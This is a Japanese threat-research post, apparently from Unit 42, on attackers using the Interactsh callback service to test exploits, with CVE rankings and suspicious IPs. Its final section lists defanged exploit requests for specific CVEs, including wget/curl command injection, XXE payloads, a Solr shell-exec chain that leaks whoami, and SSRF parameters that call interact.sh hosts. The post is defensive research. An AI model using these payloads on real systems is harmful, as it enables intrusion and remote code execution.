This post is also available in: English (英語)
概要
ここのところUnit 42ではInteractshと呼ばれるオープンソースサービスに関連したエクスプロイトの増加を観測しています。同ツールで特定のドメイン名を生成すると、ツール利用者がエクスプロイトの成否をテストできるようになります。リサーチャーも攻撃者も、ドメインのトレースパスをリアルタイムに監視して脆弱性を検証する用途でこのツールを使うことができます。エクスプロイト用の概念実証(PoC)を作っているリサーチャーは、Interactsh経由でPoCの動作確認を行えますし、エクスプロイトがうまくいくかどうかを確認したい攻撃者にとっても、このサービスの利用は役に立ちます。
本稿ではまずInteractshツールについて紹介し、リサーチャーや攻撃者がどのようにこのツールを活用して脆弱性検証を行っているのかを紹介します。次に、このツールを利用する数多くのエクスプロイトについて解説し、私たちが観測したエクスプロイトを利用頻度の順にランキングします。さらに、Interactshのアクティビティ分布を日時と地理の観点から分析します。本稿末尾に悪意のあるペイロードについての情報を掲載しますのでこちらも合わせて参考にしてください。
パロアルトネットワークスのNext-Generation Firewallをお使いのお客様はInteractshを利用する良性コンテンツのアペンド攻撃から保護されています。
Interactshツールとは
Unit 42のリサーチャーは、インターネット上で広がっている悪意のあるアクティビティを積極的に監視しています[参考1][参考2]。2021年4月中旬ごろから、ドメイン名は同じであるものの、悪意のあるペイロードに異なるサブドメインが利用されたエクスプロイトの試行があることに私たちは気づきました。これを調査したところ、この送信元が、DNSクエリやHTTPの試行用に特定テスト用URLを生成できるツールであることがわかりました。このツールは2021年4月16日に公開されたものですが、その2日後の2021年4月18日には最初の悪用試行が確認されています。
図1はこのツールのGitHubページで、「Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions. (Interactshは帯域外データ抽出に使えるオープンソースソリューションで、外部とのインタラクションを引き起こすバグの検出に利用することを想定しています)」という説明があります。私たちが以下で行った検証試験では、「interact project discovery」でWeb検索すると簡単に見つかるWeb UIで操作を行いました。ユーザーがページにアクセスすると、このWeb UIはランダムにInteractshリンクを生成します。
C4mqgxkyedf0000ar3d0gnkmaqayyyyb[.]interact[.]sh
このURLをブラウザで操作し、図2に示すように、InteractshのUIでクエリのストレースを確認します。UIには、URLのDNSクエリレコードとHTTPリクエストが表示されていて、C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]shへのアクセスが成功したことが示されています。またinteractsh-clientがインストールされていれば、そのURLをコマンドラインで利用することもできます。
ペイロードのインタラクション
攻撃者やリサーチャーはこのツールを使ってエクスプロイトの成否をテストできます。図3はその例を示したものです。
私たちは、Interactshツールを使用したエクスプロイト試行を検知しました。このケースでは、汎用IoTデバイスのリモートコマンド実行脆弱性が利用されていました。攻撃者は、HTTP POSTリクエストを送信し、POSTのボディのkeyパラメータでコマンドを渡します。このケースでは、wgetコマンドを使用し、Interactshツールで作成されたコマンド&コントロール(C2)サーバーにアクセスしていました。C2サーバーがリクエストを受信するかどうかを監視すればエクスプロイトの成否を判断できます。
Interactshを利用したエクスプロイト
このツールは今年4月18日時点ですでにISPや企業ネットワーク経由での活発な利用が見られました。特定のCVEと関連するネットワーク経由の単純なコマンドインジェクションが数多く見受けられます。あるIPアドレスグループから送信された、同じURLが続く大量の攻撃試行が観測されましたが、これは研究プロジェクトではなくスキャンイベントのようです。
CVE番号 | 深刻度 | カテゴリ | ヒット数 |
CVE-2017-9506 | 中 | サーバーサイドリクエストフォージェリ(SSRF) | 1,132 |
CVE-2017-12629 | 緊急 | リモートコード実行 | 663 |
CVE-2019-2767 | 高 | 認証バイパス (データ挿入) | 192 |
CVE-2021-33544 | 高 | リモートコード実行 | 163 |
CVE-2021-32819 | 高 | リモートコード実行 | 51 |
CVE-2012-1301 | 緊急 | サーバーサイドリクエストフォージェリ(SSRF) | 13 |
CVE-2018-1000600 | 高 | サーバーサイドリクエストフォージェリ(SSRF) | 11 |
CVE-2021-27905 | 緊急 | サーバーサイドリクエストフォージェリ(SSRF) | 9 |
CVE-2020-28188 | 緊急 | リモートコード実行 | 7 |
CVE-2018-15517 | 高 | サーバーサイドリクエストフォージェリ(SSRF) | 6 |
CVE-2009-4223 | N/A | PHPのリモートファイルインクルージョン | 5 |
CVE-2019-18394 | 緊急 | サーバーサイドリクエストフォージェリ(SSRF) | 5 |
CVE-2021-27886 | 緊急 | リモートコード実行 | 3 |
CVE-2020-13379 | 高 | サーバーサイドリクエストフォージェリ(SSRF) | 2 |
表1 CVE別に見たInteractshエクスプロイトのヒット数ランキング
PAN-DBを使い、URL フィルタリングデータを3月7日から9月7日まで収集したところ、Interactshのヒット数は約3万2,200回でした。脆弱性/エクスプロイト試行にフォーカスして、観測されたトラフィックで最も悪用の目立ったCVEのランキングを表1に示します。この結果からは、トラフィックの背後にいるアクターたちが、Interactsh APIツールを使用して、エクスプロイト試行の成否をテストしていることがわかります。各Interactshの一意なURLは、それぞれがC2であると考えられます。同じCVEに対するエクスプロイトの多くはランダムに生成された複数のInteractshドメインを使用しており、異なるホストサイドでのスキャンを行っています。
CVE番号 | 深刻度 | カテゴリ |
CVE-2021-31755 | 緊急 | リモートコード実行 |
CVE-2020-28871 | 緊急 | リモートコード実行 |
CVE-2020-25223 | 緊急 | リモートコード実行 |
CVE-2020-8813 | 高 | リモートコード実行 |
CVE-2020-7247 | 緊急 | リモートコード実行 |
CVE-2020-28188 CVE-2020-15568 CVE-2018-13354 CVE-2018-13338 | 緊急 | リモートコード実行 |
CVE-2019-2616 | 高 | 認証バイパス (データ挿入) |
CVE-2018-16167 | 高 | リモートコード実行 |
CVE-2018-14839 | 緊急 | リモートコード実行 |
CVE-2016-1555 | 緊急 | リモートコード実行 |
表2 Interactshに利用されているその他のCVE
弊社のsoakサイト(内部ネットワーク監視ツール)では、表2に示したInteractshアクティビティも捕捉されており、この活発なエクスプロイト試行についての啓発を促すものでした。
Interactshのアクティビティ分布
このほかCortex XpanseのデータからはInteractshを使ったDNSクエリもいくつか見つかりました。疑わしいIPアドレスは3つありました。
82[.]112[.]184[.]197はVirusTotalで「potential malware(マルウェアの可能性あり)」としてフラグが立てられており、138[.]68[.]184[.]23はフィッシングサイトであることが示されています。また82[.]112[.]184[.]206は「malicious(悪意のあるもの)」のフラグが立てられていることがわかりました。この3つのIPアドレスはいずれもInteractshのアクティビティが高くなっています。
私たちは、同ツールの公開時点から観測してきたInteractshツールを利用するエクスプロイトをすべて分析しました。このツールがオンラインで利用可能になったのは4月からですが、6月に入って利用が増えていることがわかりました。
図5はInteractshのアクティビティ分布をより細かく特定の日付ごとに示したものです。グラフに示したイベントはエクスプロイトないしスキャンのアクティビティを表しています。図5に示したアクティビティは図4と一致して6月にトラフィックが増加していることがわかります。
図6は、Interactshリンクを使ったDNSクエリの地理的分布を示したものです。トップからイギリス、エクアドル、アメリカの順になっていました。
結論
Interactshは正当な目的にも利用できますが、攻撃者による悪意のあるトラフィックのテスト目的での利用も広がっています。そのため、テスト用トラフィックの後にはエクスプロイトが続く可能性があります。ここ数年はエクスプロイトのテストにサードパーティのオープンソースツールを使用する傾向が強まっています。オープンソースツールは攻撃者にとっては便利なものですが、防御側にとっては、サービスやIP、サーバーなどにもとづくトラフィック遮断は容易ではありません。このような形で発生する悪意のあるエクスプロイトから組織を保護するには、どんなツールが利用されているのかについても注意を向けておく必要があります。
脅威防御、Advanced URL Filtering、DNSセキュリティ、WildFireのセキュリティサブスクリプションをご利用のパロアルトネットワークスNext-Generation Firewallのお客様は、Interactshを利用した良性コンテンツのアペンド攻撃から保護されています。DNSセキュリティは、interact[.]shを悪意のあるサイトとしてマーク済みです。
また私たちは以下の対策を推奨します。
- Best Practice Assessment(ベストプラクティス評価)を実行し、よりよいセキュリティ態勢のために変更すべき設定がないかどうか確認します。
- お使いの次世代ファイアウォールをパロアルトネットワークスの脅威防御の最新コンテンツ(例: バージョン8467以上)で継続的に更新します。
ユースケース: Interactshを利用するエクスプロイトの例
hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything
(CVE-2021-33544)
hxxp[:]//ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config[.]githubtokencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh
(CVE-2018-1000600)
hxxp[:]//ip-addr/xmlpserver/convert?xml=<!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123
(CVE-2019-2767)
hxxp[:]//ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={"add-listener":{"event":"postcommit","name":"nuclei","class":"solr.runexecutablelistener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","nslookup","$(whoami).c38at9vk6tb1j2mah7i0cdeca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple
hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true""><a></a>"}
(CVE-2017-12629)
hxxp[:]//ip-addr/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx&wt=json&httpbasicauthuser=aaa&httpbasicauthpassword=bbb
(CVE-2021-27905)
hxxp[:]//ip-addr/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('curl c32s61pbq16mga0vler0cdnhgbayyyyyn[.]interact.sh');
(CVE-2021-32819)
hxxp[:]//ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh
(CVE-2017-9506)
hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure
(CVE-2018-15517)
hxxp[:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh
(CVE-2021-27886)
hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh
(CVE-2020-13379)
hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh
(CVE-2009-4223)
hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh
(CVE-2012-1301)
hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh
(CVE-2019-18394)
(CVE-2020-7247)
(CVE-2018-16167)
(CVE-2021-31755)
(CVE-2016-1555)
(CVE-2019-2616)
(CVE-2018-14839)
(CVE-2020-8813)
(CVE-2020-28188 CVE-2018-13354 CVE-2018-13338 CVE-2020-15568)
(CVE-2020-28871)
(CVE-2020-25223)
hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh
hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';"
hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh